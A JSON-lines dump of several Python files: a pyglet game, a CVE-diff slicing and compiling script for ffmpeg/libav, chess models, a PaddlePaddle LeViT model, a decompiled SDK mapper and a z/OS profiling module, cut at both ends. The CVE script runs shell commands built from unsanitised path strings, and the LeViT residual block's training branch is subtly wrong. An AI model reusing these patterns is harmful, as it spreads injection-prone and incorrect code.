score+=to_remove.pt_value\n hud.score_label.text='Score:'+str(score)\n sound_fx.power_up_sound.play()\n avatar.process_power_up()'''\n\n #Adjust the score if the dead item was worth points\n #if isinstance(to_remove,enemy.Enemy):\n #sound_fx.pop_sound.play()\n #score+=to_remove.pt_value\n #score_label.text='Score:'+str(score)\n \n \n \n #check for win/lose conditions\n\n if player_dead:\n #if len(player_lives)>0:\n if media_player2.playing==True:\n media_player2.pause()\n elif media_player3.playing==True:\n media_player3.pause()\n media_player4.play()\n pyglet.clock.unschedule(spawn_enemy)\n pyglet.clock.unschedule(update)\n \n hud.game_over_label.y=viewport.v_ctr\n elif victory:\n pyglet.clock.unschedule(spawn_enemy)\n level+=1\n #hud.level_label.text='Level:'+str(level)\n #score+=level_clear_pts\n\n pyglet.clock.unschedule(update)\n clear_level()\n if level==2:\n load_level_2(level)\n elif level==3:\n load_level_3(level)\n elif level==4:\n load_level_4(level)\n else:\n media_player4.pause()\n media_player.play()\n hud.congrats_label.y=viewport.v_ctr\n \n@viewport.window.event\ndef on_key_press(symbol,modifiers):\n global game_objects\n if inst.complete:\n if player.has_laser==True:\n if symbol==key.D:\n if player.image==avatar.avatar_left_laser:\n #x_coord=avatar.player.left\n beam=laser_shoot.Beam_Shoot((player.x-(player.width//2)),player.y)\n sound_fx.pew_sound.play()\n pyglet.clock.schedule_interval(beam.update,1.0/60.0)\n game_objects.append(beam)\n elif player.image==avatar.avatar_right_laser:\n #x_coord=avatar.player.right\n beam=laser_shoot.Beam_Shoot((player.x+(player.width//2)),player.y)\n sound_fx.pew_sound.play()\n pyglet.clock.schedule_interval(beam.update,1.0/60.0)\n game_objects.append(beam)\n else:\n pass\n \n@viewport.window.event\ndef on_draw():\n global bg\n viewport.window.clear()\n #if instructions are not complete, draw instructions\n if not inst.complete:\n inst_batch.draw()\n #if instructions are complete, draw everything else\n else:\n bg.draw()\n world.tile_batch.draw()\n hud.hud_batch.draw()\n #avatar.avatar_batch.draw()\n laser_shoot.laser_batch.draw()\n main_batch.draw()\n avatar_batch.draw()\n\n@viewport.window.event\ndef on_close():\n viewport.window.close()\n quit()\n\n\n#what does this do?\nif __name__=='__main__':\n\n pyglet.gl.glClearColor(0.24,0.42,0.65,1.0)\n inst_batch=pyglet.graphics.Batch()\n main_batch=pyglet.graphics.Batch()\n avatar_batch=pyglet.graphics.Batch()\n \n\n init()\n pyglet.clock.schedule_interval(check_instructions,1/120.0)\n \n pyglet.app.run()\n","sub_path":"supreme.py","file_name":"supreme.py","file_ext":"py","file_size_in_byte":15654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"510128478","text":"#encoding: utf-8\nimport os\nimport xlrd\nimport pickle\nimport sys\nimport re\n\n\n\ndef copy_diff(appname,cveid,path):\n cvedir = diff_root+appname+'/'+cveid\n diff = diff_root+'diff/'+cveid+'.txt'\n cfile = source_root+appname+'/'+path\n if not os.path.exists(cfile):\n return\n if not os.path.exists(cvedir):\n os.makedirs(cvedir)\n os.system('cp '+cfile+' '+cvedir)\n os.system('cp '+diff+' '+cvedir)\n\ndef getfunc(excelfilename,sheet_index=0):\n app_list=[]\n hole_path=[]\n mdict = {}\n cvedict = {}\n cveverdict = {}\n workbook = xlrd.open_workbook(excelfilename)\n sheet = workbook.sheet_by_index(sheet_index)\n nrows = sheet.nrows\n ncols = sheet.ncols\n f = open(\"./holefunct.txt\",\"w\");\n for line in range(1,nrows):\n func = []\n app_version = sheet.cell(line,4).value\n path = sheet.cell(line,2).value\n mfunc = sheet.cell(line,3).value\n cveid = sheet.cell(line,0).value.replace(' ','')\n path.replace(' ','')\n if cveid not in cvedict.keys():\n cvedict[cveid] = []\n if cveid not in cveverdict.keys():\n cveverdict[cveid] = []\n cveverdict[cveid].append(app_version)\n copy_diff(app_version,cveid,path)\n if app_version not in app_list:\n app_list.append(app_version)\n func = mfunc.split(',')\n for fun in func:\n hole_path.append(source_root+app_version+'/'+path+'/'+fun)\n cvedict[cveid].append(source_root+app_version+'/'+path+'/'+fun)\n cpath = path[path.rfind('/')+1:]\n f.write(cveid+\" \"+app_version+\" \"+cpath+\" \"+fun+\"\\n\")\n f.close()\n for key in app_list:\n mdict[key] = []\n for term in hole_path:\n for key in app_list:\n index = term.find(key)\n if index != -1 and term[index+len(key)] == '/':\n mdict[key].append(term)\n names=[]\n return hole_path,app_list,mdict,cvedict,cveverdict\n\ndef get_fileline_dict(appname):\n appname_diff_root = diff_root+appname\n processdiff(appname_diff_root)\n return\n\ndef processdiff(curent_path):\n files = os.listdir(curent_path)\n for file in files:\n fi_d = os.path.join(curent_path,file) \n if os.path.isdir(fi_d):\n processdiff(fi_d) \n else:\n if fi_d.find('.c') != -1 :\n getline(fi_d)\n\ndef getline(cfile):\n if os.path.exists(cfile):\n #cfile:源代码路径\n cvepart = re.findall('.+(CVE-\\d+-\\d+)',cfile)\n if not cvepart:\n return\n #cvefile:cve文件路径\n cvefile = os.path.split(cfile)[0] + '/' + cvepart[0] + '.txt'\n #最终漏洞行号finalflawline[slicerline[line]]\n finalflawline = []\n\n #漏洞行位置相对于切片位置\n flawlineinslicer=[]\n flawlinenum = 0\n #记录漏洞切片数量\n countslicernum = 0\n #保存分段标志的行号\n cveslicertag = []\n #读取cve文件,得到分段标志\n with open(cvefile) as cvef:\n cvelinenum = 0\n for line in cvef:\n nospacecline = line.replace(' ','').replace('\\n','').replace('\\r','').replace('\\t','')\n if nospacecline.startswith('--') and not nospacecline.startswith('---'):\n break\n if not nospacecline.startswith('+'):\n cvelinenum += 1\n if nospacecline.startswith('@@'):\n cveslicertag.append(cvelinenum)\n #结束的行号\n cveslicertag.append(cvelinenum)\n tagnum = len(cveslicertag)\n #cve文件完整片段代码finallinelist[tmplinelist[codeline]]\n finallinelist = []\n #cve文件完整漏洞相对位置finallinenumlist[linenum[linenum]]\n finallinenumlist = []\n\n #读取cve文件,截取多段文件\n \n for mj in range(0,tagnum-1):\n with open(cvefile) as f:\n #保存单个片段中非+行代码\n tmplinelist = []\n #保存单个片段中漏洞相对行号\n tmplinenumlist = []\n tmplinenum = 0\n for line in f:\n tmpline = line.replace(' ','').replace('\\n','').replace('\\r','').replace('\\t','')\n if not tmpline.startswith('+'):\n tmplinenum += 1\n if not tmpline.startswith('+') and tmplinenum > cveslicertag[mj]+1 and tmplinenum < cveslicertag[mj+1]:\n if tmpline.startswith('-'):\n if len(tmpline) > 1:\n tmplinenumlist.append(tmplinenum-cveslicertag[mj]-1)\n tmplinelist.append(tmpline[1:])\n else:\n tmplinelist.append(tmpline)\n #-1代表没有-行\n if len(tmplinenumlist) == 0:\n tmplinenumlist.append(-1)\n finallinelist.append(tmplinelist)\n finallinenumlist.append(tmplinenumlist)\n\n #片段个数\n slicernumlen = len(finallinelist)\n #保存所有匹配第一行行号\n matchline = []\n #对每个片段分别首行匹配\n for mk in range(0,slicernumlen):\n tmplist = finallinelist[mk][0]\n tmpmatchline = []\n with open(cfile) as cf:\n linecount = 0\n for cline in cf:\n linecount += 1\n nospacecfile =cline.replace(' ','').replace('\\n','').replace('\\r','').replace('\\t','')\n #首行匹配\n if nospacecfile==tmplist:\n tmpmatchline.append(linecount)\n matchline.append(tmpmatchline)\n #保存单个c文件的漏洞行号\n flawlinelist = []\n #完整匹配\n for outi in range(0,slicernumlen):\n #cve内容\n tmplinelist = finallinelist[outi]\n #相对cve文件的漏洞行号\n tmplinenumlist = finallinenumlist[outi]\n #源代码中与cve文件第一行匹配的行号\n tmpmatchlist = matchline[outi]\n\n #不存在漏洞行\n if tmplinenumlist[0] == -1:\n continue\n \n #对单个切片匹配\n for inneri in range(0,len(tmpmatchlist)):\n startline = tmpmatchlist[inneri]\n linenum = 0\n switchtag = 0\n inslicerline = 0\n lasttag = 1\n with open(cfile) as incfile:\n for inline in incfile:\n linenum += 1\n if linenum == startline:\n switchtag = 1\n if inslicerline == len(tmplinelist):\n lasttag = 0\n break\n #进入匹配\n if switchtag == 1:\n tmpnospaceline = inline.replace(' ','').replace('\\n','').replace('\\r','').replace('\\t','')\n if not tmpnospaceline==tmplinelist[inslicerline] and tmplinelist[inslicerline] != '':\n lasttag = 0\n inslicerline += 1\n #添加该片段所有漏洞行\n if inslicerline == len(tmplinelist) and lasttag == 1:\n for infl in range(0,len(tmplinenumlist)):\n flawlinelist.append(startline+tmplinenumlist[infl]-1)\n scfile = cfile[cfile.rfind('/')+1:]\n if not flawlinelist:\n flawlinelist.append(0)\n if scfile not in lineinfo_dict.keys():\n lineinfo_dict[scfile] = []\n for item in flawlinelist:\n lineinfo_dict[scfile].append(item)\n lineinfo_dict[scfile] = list(set(lineinfo_dict[scfile]))\n return\n\ndef delhead(deldir):\n files = os.listdir(deldir)\n for item in files:\n if item.endswith('.h'):\n rmf = os.path.join(deldir,item)\n os.system('rm '+rmf) \n\ndef finalcompile(cveid,appname,lineinfo_dict,sourcefilelist):\n basedir = os.path.join(source_root,appname)\n compilehead = 'clang-6.0 -c -MMD -emit-llvm -g -I '+basedir+' -I '+basedir+'/libavcodec '+\\\n ' -I '+basedir+'/libavformat '+' -I '+basedir+'/libavfilter '+\\\n ' -I '+basedir+'/libswscale '+' -I'+basedir+'/libswresample '+' -I '+basedir+'/libavutil '+'-include '+basedir+'/libavutil/internal.h\\\n\t-I /usr/include/glib-2.0/ $(pkg-config --cflags glib-2.0) '\n for item in sourcefilelist:\n filename = os.path.split(item)[1]\n print('\\nfilename\\n')\n print(filename)\n print(os.path.split(item))\n print('\\ntemplist:\\n')\n tmplist = []\n if filename in lineinfo_dict.keys():\n tmplist = lineinfo_dict[filename]\n else:\n tmplist.append(0)\n print(tmplist)\n subfilename = filename.split('.')[0]\n ndst = os.path.join(os.path.join(os.path.join(slicer_root,cveid),appname),subfilename)\n if not os.path.exists(ndst):\n os.makedirs(ndst)\n cpcmd = 'cp '+ item +' '+ndst\n os.system(cpcmd)\n ndstfile = os.path.join(ndst,filename)\n dstbc = ndstfile.replace('.c','.bc')\n comcmd = compilehead + ndstfile + ' -o '+ dstbc\n os.system(comcmd)\n os.system(compilehead+ndstfile)\n c_of_d = filename.replace('.c','.d')\n with open(c_of_d,\"r\") as file_of_d:\n temp = file_of_d.readline()\n for cheads in file_of_d.readlines():\n chead = cheads.replace('\\\\','')\n chead = chead.replace(' ','')\n chead = chead.replace('\\r','')\n chead = chead.replace('\\n','')\n if chead.endswith('.h'):\n os.system('cp '+chead+' '+ndst) \n with open('tmp.txt','w') as f:\n for linenum in tmplist:\n slicerinfo = ndstfile+' '+str(linenum)+' \\n'\n f.write(slicerinfo)\n hole_line.write(slicerinfo)\n print(slicerinfo)\n slicercmd = './get-llvmwithline tmp.txt'\n print(slicercmd)\n os.system(slicercmd)\n delhead(ndst)\n os.system('rm *.bc *.sliced *.d')\n\n\n\nif __name__ == '__main__':\n source_root='/home/king/aproffmpeg/source/'\n diff_root='/home/king/aproffmpeg/diff/'\n slicer_root = '/home/king/aproffmpeg/newslicerlibav/'\n\n excel_file = sys.argv[1]\n\n flawfunc,app_versionname,outdict,cvedict,cveverdict = getfunc(excel_file)\n hole_line = open(\"./hole_line.txt\",\"w\")\n for key in cvedict.keys():\n print(key)\n print(cvedict[key])\n print(cveverdict[key])\n for ver in cveverdict[key]:\n if os.path.exists(source_root+ver):# and ver == \"ffmpeg-0.6\":\n print('in\\n')\n lineinfo_dict ={}\n get_fileline_dict(ver)\n print('\\nlineinfo_dict\\n')\n print(lineinfo_dict)\n print('\\nnullset\\n')\n nullset = set()\n for item in outdict[ver]:\n if item in cvedict[key]:\n nullset.add(os.path.split(item)[0])\n print(os.path.split(item))\n print(nullset)\n print('\\n')\n finalcompile(key,ver,lineinfo_dict,nullset)\n hole_line.close()\n","sub_path":"src/NVD/sourcefile/allCompileLibav.py","file_name":"allCompileLibav.py","file_ext":"py","file_size_in_byte":11572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201540880","text":"class Tournament:\n\n def __init__(self, name, place, date, rounds, players, timing_type, description, number_of_rounds=4):\n\n self.name = name\n self.place = place\n self.date = date\n self.number_of_rounds = number_of_rounds\n self.rounds = rounds\n self.players = players\n self.timing_type = timing_type\n self.description = description\n\n\nclass Match:\n def __init__(self, player_white, score_white, player_black, score_black):\n \"\"\"match initialisation\"\"\"\n self.player_white = player_white\n self.score_white = score_white\n self.player_black = player_black\n self.score_black = score_black\n\n\nclass Round:\n\n def __init__(self, match_instance, round_name, start_date, start_time, end_date, end_time):\n self.match_instance = match_instance\n self.round_name = round_name\n self.start_date = start_date\n self.start_time = start_time\n self.end_date = end_date\n self.end_time = end_time\n\n\nclass Player:\n\n def __init__(self, first_name, last_name, date_of_birth, gender, ranking, score=0, played=[]):\n self.first_name = first_name\n self.last_name = last_name\n self.date_of_birth = date_of_birth\n self.gender = gender\n self.ranking = ranking\n self.score = score\n self.played = played\n\n #def played(self, player):\n # self.played(player) = played.append(player)","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32654380","text":"# copyright (c) 2021 PaddlePaddle Authors. All Rights Reserve.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# Code was based on https://github.com/facebookresearch/LeViT\nimport itertools\nimport math\nimport warnings\n\nimport paddle\nimport paddle.nn as nn\nimport paddle.nn.functional as F\nfrom paddle.nn.initializer import Constant\nfrom paddle.nn.initializer import TruncatedNormal\nfrom paddle.regularizer import L2Decay\n\nfrom .vision_transformer import Identity\nfrom .vision_transformer import ones_\nfrom .vision_transformer import trunc_normal_\nfrom .vision_transformer import zeros_\n\n\ndef cal_attention_biases(attention_biases, attention_bias_idxs):\n gather_list = []\n attention_bias_t = paddle.transpose(attention_biases, (1, 0))\n nums = attention_bias_idxs.shape[0]\n for idx in range(nums):\n gather = paddle.gather(attention_bias_t, attention_bias_idxs[idx])\n gather_list.append(gather)\n shape0, shape1 = attention_bias_idxs.shape\n gather = paddle.concat(gather_list)\n return paddle.transpose(gather, (1, 0)).reshape((0, shape0, shape1))\n\n\nclass Conv2d_BN(nn.Sequential):\n\n def __init__(self, a, b, ks=1, stride=1, pad=0, dilation=1, groups=1, bn_weight_init=1, resolution=-10000):\n super().__init__()\n self.add_sublayer('c', nn.Conv2D(a, b, ks, stride, pad, dilation, groups, bias_attr=False))\n bn = nn.BatchNorm2D(b)\n ones_(bn.weight)\n zeros_(bn.bias)\n self.add_sublayer('bn', bn)\n\n\nclass Linear_BN(nn.Sequential):\n\n def __init__(self, a, b, bn_weight_init=1):\n super().__init__()\n self.add_sublayer('c', nn.Linear(a, b, bias_attr=False))\n bn = nn.BatchNorm1D(b)\n if bn_weight_init == 0:\n zeros_(bn.weight)\n else:\n ones_(bn.weight)\n zeros_(bn.bias)\n self.add_sublayer('bn', bn)\n\n def forward(self, x):\n l, bn = self._sub_layers.values()\n x = l(x)\n return paddle.reshape(bn(x.flatten(0, 1)), x.shape)\n\n\nclass BN_Linear(nn.Sequential):\n\n def __init__(self, a, b, bias=True, std=0.02):\n super().__init__()\n self.add_sublayer('bn', nn.BatchNorm1D(a))\n l = nn.Linear(a, b, bias_attr=bias)\n trunc_normal_(l.weight)\n if bias:\n zeros_(l.bias)\n self.add_sublayer('l', l)\n\n\ndef b16(n, activation, resolution=224):\n return nn.Sequential(Conv2d_BN(3, n // 8, 3, 2, 1, resolution=resolution), activation(),\n Conv2d_BN(n // 8, n // 4, 3, 2, 1, resolution=resolution // 2), activation(),\n Conv2d_BN(n // 4, n // 2, 3, 2, 1, resolution=resolution // 4), activation(),\n Conv2d_BN(n // 2, n, 3, 2, 1, resolution=resolution // 8))\n\n\nclass Residual(nn.Layer):\n\n def __init__(self, m, drop):\n super().__init__()\n self.m = m\n self.drop = drop\n\n def forward(self, x):\n if self.training and self.drop > 0:\n y = paddle.rand(shape=[x.shape[0], 1, 1]).__ge__(self.drop).astype(\"float32\")\n y = y.divide(paddle.full_like(y, 1 - self.drop))\n return paddle.add(x, y)\n else:\n return paddle.add(x, self.m(x))\n\n\nclass Attention(nn.Layer):\n\n def __init__(self, dim, key_dim, num_heads=8, attn_ratio=4, activation=None, resolution=14):\n super().__init__()\n self.num_heads = num_heads\n self.scale = key_dim**-0.5\n self.key_dim = key_dim\n self.nh_kd = nh_kd = key_dim * num_heads\n self.d = int(attn_ratio * key_dim)\n self.dh = int(attn_ratio * key_dim) * num_heads\n self.attn_ratio = attn_ratio\n self.h = self.dh + nh_kd * 2\n self.qkv = Linear_BN(dim, self.h)\n self.proj = nn.Sequential(activation(), Linear_BN(self.dh, dim, bn_weight_init=0))\n points = list(itertools.product(range(resolution), range(resolution)))\n N = len(points)\n attention_offsets = {}\n idxs = []\n for p1 in points:\n for p2 in points:\n offset = (abs(p1[0] - p2[0]), abs(p1[1] - p2[1]))\n if offset not in attention_offsets:\n attention_offsets[offset] = len(attention_offsets)\n idxs.append(attention_offsets[offset])\n self.attention_biases = self.create_parameter(shape=(num_heads, len(attention_offsets)),\n default_initializer=zeros_,\n attr=paddle.ParamAttr(regularizer=L2Decay(0.0)))\n tensor_idxs = paddle.to_tensor(idxs, dtype='int64')\n self.register_buffer('attention_bias_idxs', paddle.reshape(tensor_idxs, [N, N]))\n\n @paddle.no_grad()\n def train(self, mode=True):\n if mode:\n super().train()\n else:\n super().eval()\n if mode and hasattr(self, 'ab'):\n del self.ab\n else:\n self.ab = cal_attention_biases(self.attention_biases, self.attention_bias_idxs)\n\n def forward(self, x):\n self.training = True\n B, N, C = x.shape\n qkv = self.qkv(x)\n qkv = paddle.reshape(qkv, [B, N, self.num_heads, self.h // self.num_heads])\n q, k, v = paddle.split(qkv, [self.key_dim, self.key_dim, self.d], axis=3)\n q = paddle.transpose(q, perm=[0, 2, 1, 3])\n k = paddle.transpose(k, perm=[0, 2, 1, 3])\n v = paddle.transpose(v, perm=[0, 2, 1, 3])\n k_transpose = paddle.transpose(k, perm=[0, 1, 3, 2])\n\n if self.training:\n attention_biases = cal_attention_biases(self.attention_biases, self.attention_bias_idxs)\n else:\n attention_biases = self.ab\n attn = (paddle.matmul(q, k_transpose) * self.scale + attention_biases)\n attn = F.softmax(attn)\n x = paddle.transpose(paddle.matmul(attn, v), perm=[0, 2, 1, 3])\n x = paddle.reshape(x, [B, N, self.dh])\n x = self.proj(x)\n return x\n\n\nclass Subsample(nn.Layer):\n\n def __init__(self, stride, resolution):\n super().__init__()\n self.stride = stride\n self.resolution = resolution\n\n def forward(self, x):\n B, N, C = x.shape\n x = paddle.reshape(x, [B, self.resolution, self.resolution, C])\n end1, end2 = x.shape[1], x.shape[2]\n x = x[:, 0:end1:self.stride, 0:end2:self.stride]\n x = paddle.reshape(x, [B, -1, C])\n return x\n\n\nclass AttentionSubsample(nn.Layer):\n\n def __init__(self,\n in_dim,\n out_dim,\n key_dim,\n num_heads=8,\n attn_ratio=2,\n activation=None,\n stride=2,\n resolution=14,\n resolution_=7):\n super().__init__()\n self.num_heads = num_heads\n self.scale = key_dim**-0.5\n self.key_dim = key_dim\n self.nh_kd = nh_kd = key_dim * num_heads\n self.d = int(attn_ratio * key_dim)\n self.dh = int(attn_ratio * key_dim) * self.num_heads\n self.attn_ratio = attn_ratio\n self.resolution_ = resolution_\n self.resolution_2 = resolution_**2\n self.training = True\n h = self.dh + nh_kd\n self.kv = Linear_BN(in_dim, h)\n\n self.q = nn.Sequential(Subsample(stride, resolution), Linear_BN(in_dim, nh_kd))\n self.proj = nn.Sequential(activation(), Linear_BN(self.dh, out_dim))\n\n self.stride = stride\n self.resolution = resolution\n points = list(itertools.product(range(resolution), range(resolution)))\n points_ = list(itertools.product(range(resolution_), range(resolution_)))\n\n N = len(points)\n N_ = len(points_)\n attention_offsets = {}\n idxs = []\n i = 0\n j = 0\n for p1 in points_:\n i += 1\n for p2 in points:\n j += 1\n size = 1\n offset = (abs(p1[0] * stride - p2[0] + (size - 1) / 2), abs(p1[1] * stride - p2[1] + (size - 1) / 2))\n if offset not in attention_offsets:\n attention_offsets[offset] = len(attention_offsets)\n idxs.append(attention_offsets[offset])\n self.attention_biases = self.create_parameter(shape=(num_heads, len(attention_offsets)),\n default_initializer=zeros_,\n attr=paddle.ParamAttr(regularizer=L2Decay(0.0)))\n\n tensor_idxs_ = paddle.to_tensor(idxs, dtype='int64')\n self.register_buffer('attention_bias_idxs', paddle.reshape(tensor_idxs_, [N_, N]))\n\n @paddle.no_grad()\n def train(self, mode=True):\n if mode:\n super().train()\n else:\n super().eval()\n if mode and hasattr(self, 'ab'):\n del self.ab\n else:\n self.ab = cal_attention_biases(self.attention_biases, self.attention_bias_idxs)\n\n def forward(self, x):\n self.training = True\n B, N, C = x.shape\n kv = self.kv(x)\n kv = paddle.reshape(kv, [B, N, self.num_heads, -1])\n k, v = paddle.split(kv, [self.key_dim, self.d], axis=3)\n k = paddle.transpose(k, perm=[0, 2, 1, 3]) # BHNC\n v = paddle.transpose(v, perm=[0, 2, 1, 3])\n q = paddle.reshape(self.q(x), [B, self.resolution_2, self.num_heads, self.key_dim])\n q = paddle.transpose(q, perm=[0, 2, 1, 3])\n\n if self.training:\n attention_biases = cal_attention_biases(self.attention_biases, self.attention_bias_idxs)\n else:\n attention_biases = self.ab\n\n attn = (paddle.matmul(q, paddle.transpose(k, perm=[0, 1, 3, 2]))) * self.scale + attention_biases\n attn = F.softmax(attn)\n\n x = paddle.reshape(paddle.transpose(paddle.matmul(attn, v), perm=[0, 2, 1, 3]), [B, -1, self.dh])\n x = self.proj(x)\n return x\n\n\nclass LeViT(nn.Layer):\n \"\"\" Vision Transformer with support for patch or hybrid CNN input stage\n \"\"\"\n\n def __init__(self,\n img_size=224,\n patch_size=16,\n in_chans=3,\n class_num=1000,\n embed_dim=[192],\n key_dim=[64],\n depth=[12],\n num_heads=[3],\n attn_ratio=[2],\n mlp_ratio=[2],\n hybrid_backbone=None,\n down_ops=[],\n attention_activation=nn.Hardswish,\n mlp_activation=nn.Hardswish,\n distillation=True,\n drop_path=0):\n super().__init__()\n\n self.class_num = class_num\n self.num_features = embed_dim[-1]\n self.embed_dim = embed_dim\n self.distillation = distillation\n\n self.patch_embed = hybrid_backbone\n\n self.blocks = []\n down_ops.append([''])\n resolution = img_size // patch_size\n for i, (ed, kd, dpth, nh, ar, mr,\n do) in enumerate(zip(embed_dim, key_dim, depth, num_heads, attn_ratio, mlp_ratio, down_ops)):\n for _ in range(dpth):\n self.blocks.append(\n Residual(\n Attention(\n ed,\n kd,\n nh,\n attn_ratio=ar,\n activation=attention_activation,\n resolution=resolution,\n ), drop_path))\n if mr > 0:\n h = int(ed * mr)\n self.blocks.append(\n Residual(\n nn.Sequential(\n Linear_BN(ed, h),\n mlp_activation(),\n Linear_BN(h, ed, bn_weight_init=0),\n ), drop_path))\n if do[0] == 'Subsample':\n #('Subsample',key_dim, num_heads, attn_ratio, mlp_ratio, stride)\n resolution_ = (resolution - 1) // do[5] + 1\n self.blocks.append(\n AttentionSubsample(*embed_dim[i:i + 2],\n key_dim=do[1],\n num_heads=do[2],\n attn_ratio=do[3],\n activation=attention_activation,\n stride=do[5],\n resolution=resolution,\n resolution_=resolution_))\n resolution = resolution_\n if do[4] > 0: # mlp_ratio\n h = int(embed_dim[i + 1] * do[4])\n self.blocks.append(\n Residual(\n nn.Sequential(\n Linear_BN(embed_dim[i + 1], h),\n mlp_activation(),\n Linear_BN(h, embed_dim[i + 1], bn_weight_init=0),\n ), drop_path))\n self.blocks = nn.Sequential(*self.blocks)\n\n # Classifier head\n self.head = BN_Linear(embed_dim[-1], class_num) if class_num > 0 else Identity()\n if distillation:\n self.head_dist = BN_Linear(embed_dim[-1], class_num) if class_num > 0 else Identity()\n\n def forward(self, x):\n x = self.patch_embed(x)\n x = x.flatten(2)\n x = paddle.transpose(x, perm=[0, 2, 1])\n x = self.blocks(x)\n x = x.mean(1)\n\n x = paddle.reshape(x, [-1, self.embed_dim[-1]])\n if self.distillation:\n x = self.head(x), self.head_dist(x)\n if not self.training:\n x = (x[0] + x[1]) / 2\n else:\n x = self.head(x)\n return x\n\n\ndef model_factory(C, D, X, N, drop_path, class_num, distillation):\n embed_dim = [int(x) for x in C.split('_')]\n num_heads = [int(x) for x in N.split('_')]\n depth = [int(x) for x in X.split('_')]\n act = nn.Hardswish\n model = LeViT(\n patch_size=16,\n embed_dim=embed_dim,\n num_heads=num_heads,\n key_dim=[D] * 3,\n depth=depth,\n attn_ratio=[2, 2, 2],\n mlp_ratio=[2, 2, 2],\n down_ops=[\n #('Subsample',key_dim, num_heads, attn_ratio, mlp_ratio, stride)\n ['Subsample', D, embed_dim[0] // D, 4, 2, 2],\n ['Subsample', D, embed_dim[1] // D, 4, 2, 2],\n ],\n attention_activation=act,\n mlp_activation=act,\n hybrid_backbone=b16(embed_dim[0], activation=act),\n class_num=class_num,\n drop_path=drop_path,\n distillation=distillation)\n\n return model\n\n\nspecification = {\n 'LeViT_128S': {\n 'C': '128_256_384',\n 'D': 16,\n 'N': '4_6_8',\n 'X': '2_3_4',\n 'drop_path': 0\n },\n 'LeViT_128': {\n 'C': '128_256_384',\n 'D': 16,\n 'N': '4_8_12',\n 'X': '4_4_4',\n 'drop_path': 0\n },\n 'LeViT_192': {\n 'C': '192_288_384',\n 'D': 32,\n 'N': '3_5_6',\n 'X': '4_4_4',\n 'drop_path': 0\n },\n 'LeViT_256': {\n 'C': '256_384_512',\n 'D': 32,\n 'N': '4_6_8',\n 'X': '4_4_4',\n 'drop_path': 0\n },\n 'LeViT_384': {\n 'C': '384_512_768',\n 'D': 32,\n 'N': '6_9_12',\n 'X': '4_4_4',\n 'drop_path': 0.1\n },\n}\n\n\ndef LeViT_128(**kwargs):\n model = model_factory(**specification['LeViT_128'], class_num=1000, distillation=False)\n return model\n","sub_path":"modules/image/classification/levit_128_imagenet/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":15976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"323044639","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python3.6/dist-packages/mindsdk/Mapper/Mapper.py\n# Compiled at: 2019-12-19 05:39:37\n# Size of source mod 2**32: 1425 bytes\nimport urllib.request, urllib.parse, json, mindsdk.Constants as Constants\n\nclass Mapper:\n _Mapper__instance = None\n SignalMapper = None\n\n @staticmethod\n def getInstance():\n if Mapper._Mapper__instance == None:\n Mapper()\n return Mapper._Mapper__instance\n\n @staticmethod\n def getMapper():\n try:\n url = 'http://' + Constants.SIGNALSERVICE_SERVER_IP + ':' + Constants.SIGNALSERVICE_PORT + '/getmapper'\n f = urllib.request.urlopen(url)\n jsonResponse = f.read().decode('utf-8')\n dictResponse = json.loads(jsonResponse)\n dictResult = {}\n for signal in dictResponse:\n if dictResponse[signal]['plantId'] == 3:\n dictResult[dictResponse[signal]['signalName']] = signal\n\n return dictResult\n except urllib.error.HTTPError as err:\n print('{}\\nError Code:{}, URL:{}'.format(err, err.code, err.filename))\n return\n\n def __init__(self):\n \"\"\" Virtually private constructor. \"\"\"\n if Mapper._Mapper__instance != None:\n raise Exception('This class is a singleton!')\n else:\n Mapper.SignalMapper = Mapper.getMapper()\n Mapper._Mapper__instance = self","sub_path":"pycfiles/mapnamindsdk-0.1.6.linux-x86_64.tar/Mapper.cpython-36.py","file_name":"Mapper.cpython-36.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"462380232","text":"# (c) Copyright Rocket Software, Inc. 2018, 2019 All Rights Reserved.\n\nimport os\nimport os.path\nimport sys\nimport struct\nimport bisect\nimport time\nfrom datetime import datetime\nimport glob\nimport pickle\nimport itertools\nimport ctypes\nfrom array import array\nimport traceback\n\nfrom .control_his import run_his_test, get_map_for_asids\nfrom ._csv_info import get_csv_info, get_module_info\n\ncommand_verbose = True\nCONSOLE_NAME=\"%sC\" % os.getenv('USER')\nISSUE_COMMAND='issue_command'\nDEFAULT_COMMAND_TIMEOUT=2\n\nHIS_PATHNAME='/tmp/HIS_%s' % os.getenv(\"USER\")\nif not os.path.exists(HIS_PATHNAME):\n os.makedirs(HIS_PATHNAME)\n os.chown(HIS_PATHNAME, -1, os.getgid()) # change only the group\n\nhome_asid_set = {} # this is changed later\n\ndef MEM4(address, offset):\n return ctypes.c_int.from_address(address + offset).value\n\ndef MEM2(address, offset):\n return ctypes.c_short.from_address(address + offset).value\n\ndef get_current_ascb():\n PSAAOLD = 0x224\n return MEM4(0, PSAAOLD)\n\ndef get_current_asid():\n ASCBASID = 0x024\n return MEM2(get_current_ascb(), ASCBASID)\n\ndef decode_pointer4_to_char8_name(address, offset):\n name_address = MEM4(address, offset)\n if name_address == 0:\n return None\n else:\n name8e = ctypes.string_at(name_address, 8)\n return name8e.decode('cp1047').rstrip()\n \ndef ascb_for_asid(asid):\n asvt = MEM4(MEM4(0, 0x10), 0x22C) # CVTASVT\n return MEM4(asvt, 0x20C + 4 * asid)\n\ndef jobname_for_asid(asid):\n if asid == 0x10000:\n return 'DAT-OFF'\n if asid < 1 or asid > 